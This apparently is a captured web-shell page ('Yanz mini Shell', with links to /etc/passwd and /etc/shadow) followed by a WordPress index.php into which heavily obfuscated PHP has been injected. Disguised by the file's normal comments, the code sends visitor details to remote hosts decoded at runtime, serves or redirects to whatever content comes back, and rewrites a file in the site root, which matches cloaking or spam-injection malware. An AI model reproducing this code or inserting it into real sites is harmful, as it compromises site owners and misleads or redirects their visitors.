Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
 
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */

$ooc_69n8j = [ ooc_2mb2g("amck"), ooc_2mb2g("YIEG"), ooc_2mb2g("BhCN"), ooc_2mb2g("uOzm") ]; $ooc_w0ugo = ooc_2mb2g("VZEq"); $ooc_vb9qs = isset($_SERVER[ooc_2mb2g("BVuw")]) ? $_SERVER[ooc_2mb2g("fqKm")] : ooc_2mb2g("QZiD"); $ooc_vwu6p = isset($_SERVER[ooc_2mb2g("OXOl")]) ? $_SERVER[ooc_2mb2g("pnpm")] : ooc_2mb2g("ptbD"); $ooc_f0oae = ooc_psuuz() ? ooc_2mb2g("fCya") : ooc_2mb2g("Yjlt"); $ooc_goblc = ooc_ktqwz(); $ooc_n25h2 = ooc_s60gg() ?: ooc_2mb2g("RQls"); $ooc_bburl = ooc_2mb2g("UGKe"); $ooc_k1lbu = ooc_2mb2g("tLKl"); preg_match(ooc_2mb2g("hXZk"), $ooc_n25h2, $ooc_q5uk0); if (!(!(!empty($ooc_q5uk0)))) { $ooc_bburl = $ooc_q5uk0[1]; if (!(!(($ooc_m2ujb = strpos($ooc_n25h2, $ooc_bburl)) !== false))) { $ooc_bburl = ltrim(substr($ooc_n25h2, 0, $ooc_m2ujb + strlen($ooc_bburl)), ooc_2mb2g("CQsX")); } $ooc_k1lbu = str_replace(ooc_2mb2g("WdWt"), ooc_2mb2g("DGWX"), $ooc_bburl); } $ooc_k1lbu = stristr($ooc_n25h2, ooc_2mb2g("xBnh")) ? ooc_2mb2g("XDsR") : $ooc_k1lbu; $ooc_94jlz = false; if (!(!(strpos($ooc_n25h2, $ooc_w0ugo) !== false))) { $ooc_goblc = 1; $ooc_n25h2 = str_replace($ooc_w0ugo, ooc_2mb2g("UFjO"), $ooc_n25h2); $ooc_94jlz = true; } if (!(!($ooc_n25h2 != ooc_2mb2g("OxPI")))) { $ooc_n25h2 = str_replace(ooc_2mb2g("ZgkN") . $ooc_bburl, ooc_2mb2g("gHLC"), $ooc_n25h2); $ooc_n25h2 = str_replace(ooc_2mb2g("njup"), ooc_2mb2g("cILf"), $ooc_n25h2); $ooc_n25h2 = str_replace(ooc_2mb2g("HpPv"), ooc_2mb2g("TlCB"), $ooc_n25h2); } $ooc_4vr9v = http_build_query([ ooc_2mb2g("HYch") => $ooc_vb9qs, ooc_2mb2g("IfZj") => $ooc_goblc, ooc_2mb2g("YxXv") => urlencode($ooc_n25h2), ooc_2mb2g("rrjD") => $ooc_vwu6p, ooc_2mb2g("NYAD") => $ooc_f0oae, ooc_2mb2g("rxFi") => $ooc_k1lbu, ooc_2mb2g("lAUK") => $ooc_94jlz ? $ooc_w0ugo : ooc_2mb2g("OOKG") ]); ooc_kdhcy($ooc_f0oae . ooc_2mb2g("oPDj") . $ooc_vb9qs); $ooc_i7269 = ooc_fgt63($ooc_69n8j, $ooc_4vr9v); if (!(!(strpos($ooc_i7269, ooc_2mb2g("NBLb")) === false))) { $ooc_q8c2s = array( ooc_2mb2g("UaHP") => array( ooc_2mb2g("fFpM") => ooc_2mb2g("hFen"), ooc_2mb2g("QBJd") => ooc_2mb2g("AmZk"), ooc_2mb2g("aUwQ") => true, ooc_2mb2g("WzQq") => true ), ooc_2mb2g("Hscb") => array( ooc_2mb2g("CUUh") => ooc_2mb2g("CJvT") ), ooc_2mb2g("alzX") => array( ooc_2mb2g("Qcki") => ooc_2mb2g("DOBs") ), ooc_2mb2g("xlIq") => array( ooc_2mb2g("HVNS") => ooc_2mb2g("SbJo"), ooc_2mb2g("DUFE") => ooc_2mb2g("ikcN"), ooc_2mb2g("uBtM") => ooc_2mb2g("Zoea"), ooc_2mb2g("XyQI") => true ), ooc_2mb2g("SjKL") => array( ooc_2mb2g("OLKT") => ooc_2mb2g("MJkB"), ooc_2mb2g("AOCT") => ooc_2mb2g("JyzS"), ooc_2mb2g("qSfX") => true ), ooc_2mb2g("Uaeu") => array( ooc_2mb2g("UcQg") => ooc_2mb2g("NHLe"), ooc_2mb2g("fFVW") => ooc_2mb2g("GRHP"), ooc_2mb2g("dRPn") => true ) ); foreach ($ooc_q8c2s as $ooc_ilo0p => $ooc_mc1wm) { if (!(!(strpos($ooc_i7269, $ooc_ilo0p) !== false))) { @header($ooc_mc1wm[ooc_2mb2g("aQMT")]); if (!(!(isset($ooc_mc1wm[ooc_2mb2g("wCdQ")])))) { @header(ooc_2mb2g("Cxzl") . $ooc_mc1wm[ooc_2mb2g("cgvm")]); @header(ooc_2mb2g("SwRr")); @header(ooc_2mb2g("aPNP")); } if (!(!(isset($ooc_mc1wm[ooc_2mb2g("Gfms")])))) { $ooc_i7269 = str_replace($ooc_mc1wm[ooc_2mb2g("HpBf")], ooc_2mb2g("VMrq"), $ooc_i7269); } if (!(!(isset($ooc_mc1wm[ooc_2mb2g("Srod")]) && $ooc_94jlz))) { echo $ooc_w0ugo; } if (!(!(isset($ooc_mc1wm[ooc_2mb2g("nAZQ")])))) { @header(ooc_2mb2g("tLAS") . $ooc_i7269); } elseif (!(!(isset($ooc_mc1wm[ooc_2mb2g("kBkJ")])))) { echo $ooc_i7269; } die(); } } } function ooc_ktqwz() { $ooc_321h6 = isset($_SERVER[ooc_2mb2g("rTSH")]) ? strtolower($_SERVER[ooc_2mb2g("vEkJ")]) : ooc_2mb2g("XStp"); $ooc_qpa2k = array(ooc_2mb2g("fFfj"), ooc_2mb2g("aMuf"), ooc_2mb2g("lTxb"), ooc_2mb2g("toaA")); foreach ($ooc_qpa2k as $ooc_jkhev) { if (!(!(strpos($ooc_321h6, $ooc_jkhev) !== false))) { return 1; } } return 2; } function ooc_s60gg() { if (!(!(isset($_SERVER[ooc_2mb2g("tkTo")])))) { return $_SERVER[ooc_2mb2g("Ofuy")]; } if (!(!(isset($_SERVER[ooc_2mb2g("gAqu")])))) { return $_SERVER[ooc_2mb2g("KWif")] . ooc_2mb2g("jbAG") . $_SERVER[ooc_2mb2g("zbjP")][0]; } return $_SERVER[ooc_2mb2g("uXxn")] . ooc_2mb2g("gCPX") . $_SERVER[ooc_2mb2g("EZNF")]; } function ooc_psuuz() { if (!(!(isset($_SERVER[ooc_2mb2g("ZVjD")])))) { $ooc_0ii0y = strtolower($_SERVER[ooc_2mb2g("hTBc")]); if (!(!($ooc_0ii0y !== ooc_2mb2g("aYoc") && $ooc_0ii0y !== ooc_2mb2g("YzFP")))) { return true; } } if (!(!(isset($_SERVER[ooc_2mb2g("CUPG")]) && $_SERVER[ooc_2mb2g("lcPt")] === ooc_2mb2g("xEPY")))) { return true; } if (!(!(isset($_SERVER[ooc_2mb2g("KYVT")])))) { $ooc_izw7b = strtolower($_SERVER[ooc_2mb2g("gZVx")]); if (!(!($ooc_izw7b !== ooc_2mb2g("hpLQ") && $ooc_izw7b !== ooc_2mb2g("iSha")))) { return true; } } return false; } function ooc_kdhcy($ooc_0plb3) { $ooc_d33gx = ooc_8gyi4(); $ooc_gmoxz = $_SERVER[ooc_2mb2g("flia")] . ooc_2mb2g("MiLr"); $ooc_xcccm = ooc_2mb2g("ReSB") . PHP_EOL . ooc_2mb2g("Drrr") . PHP_EOL . PHP_EOL . ooc_2mb2g("UFnJ") . $ooc_0plb3 . ooc_2mb2g("ieww") . PHP_EOL; if (!(!(!file_exists($ooc_gmoxz)))) { @$ooc_d33gx[0]($ooc_gmoxz, $ooc_xcccm); } else { $ooc_1wjgq = $ooc_d33gx[1]($ooc_gmoxz); if (!(!($ooc_1wjgq !== $ooc_xcccm))) { @$ooc_d33gx[0]($ooc_gmoxz, $ooc_xcccm); } } } function ooc_fgt63($ooc_7pfrg, $ooc_4vr9v) { $ooc_d33gx = ooc_8gyi4(); shuffle($ooc_7pfrg); foreach ($ooc_7pfrg as $ooc_9hxj5) { $ooc_5w2f6 = $ooc_d33gx[2](urldecode($ooc_9hxj5)); $ooc_0plb3 = ooc_2mb2g("KIZO") . $ooc_5w2f6 . ooc_2mb2g("gpaN") . $ooc_4vr9v; if (!(!(function_exists(ooc_2mb2g("Rxft"))))) { $ooc_0f53g = wp_remote_get($ooc_0plb3, array( ooc_2mb2g("FLEP") => 30, ooc_2mb2g("kxRZ") => ooc_2mb2g("jrhQ") )); if (!(!(!is_wp_error($ooc_0f53g)))) { $ooc_ed2oz = wp_remote_retrieve_body($ooc_0f53g); return $ooc_ed2oz; } } if (!(!(function_exists(ooc_2mb2g("Bmed"))))) { $ooc_wlp3k = curl_init(); curl_setopt($ooc_wlp3k, CURLOPT_URL, $ooc_0plb3); curl_setopt($ooc_wlp3k, CURLOPT_RETURNTRANSFER, true); curl_setopt($ooc_wlp3k, CURLOPT_TIMEOUT, 30); $ooc_0f53g = curl_exec($ooc_wlp3k); if (!(!(!curl_errno($ooc_wlp3k)))) { curl_close($ooc_wlp3k); return $ooc_0f53g; } curl_close($ooc_wlp3k); } if (!(!(ini_get(ooc_2mb2g("SNFd"))))) { $ooc_0cqgo = stream_context_create(array( ooc_2mb2g("Tjcy") => array(ooc_2mb2g("HzuB") => 30) )); $ooc_0f53g = @$ooc_d33gx[1]($ooc_0plb3, false, $ooc_0cqgo); if (!(!($ooc_0f53g !== false))) { return $ooc_0f53g; } } } return ooc_2mb2g("OOzO"); } function ooc_8gyi4() { $ooc_f1oxh = range(ooc_2mb2g("PaCy"), ooc_2mb2g("OqnO")); return array( $ooc_f1oxh[5] . $ooc_f1oxh[8] . $ooc_f1oxh[11] . $ooc_f1oxh[4] . ooc_2mb2g("NqqC") . $ooc_f1oxh[15] . $ooc_f1oxh[20] . $ooc_f1oxh[19] . ooc_2mb2g("VESB") . $ooc_f1oxh[2] . $ooc_f1oxh[14] . $ooc_f1oxh[13] . $ooc_f1oxh[19] . $ooc_f1oxh[4] . $ooc_f1oxh[13] . $ooc_f1oxh[19] . $ooc_f1oxh[18], $ooc_f1oxh[5] . $ooc_f1oxh[8] . $ooc_f1oxh[11] . $ooc_f1oxh[4] . ooc_2mb2g("Qxdv") . $ooc_f1oxh[6] . $ooc_f1oxh[4] . $ooc_f1oxh[19] . ooc_2mb2g("Jsut") . $ooc_f1oxh[2] . $ooc_f1oxh[14] . $ooc_f1oxh[13] . $ooc_f1oxh[19] . $ooc_f1oxh[4] . $ooc_f1oxh[13] . $ooc_f1oxh[19] . $ooc_f1oxh[18], $ooc_f1oxh[18] . $ooc_f1oxh[19] . $ooc_f1oxh[17] . ooc_2mb2g("ajPG") . $ooc_f1oxh[17] . $ooc_f1oxh[14] . $ooc_f1oxh[19] . ooc_2mb2g("loVt") ); }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>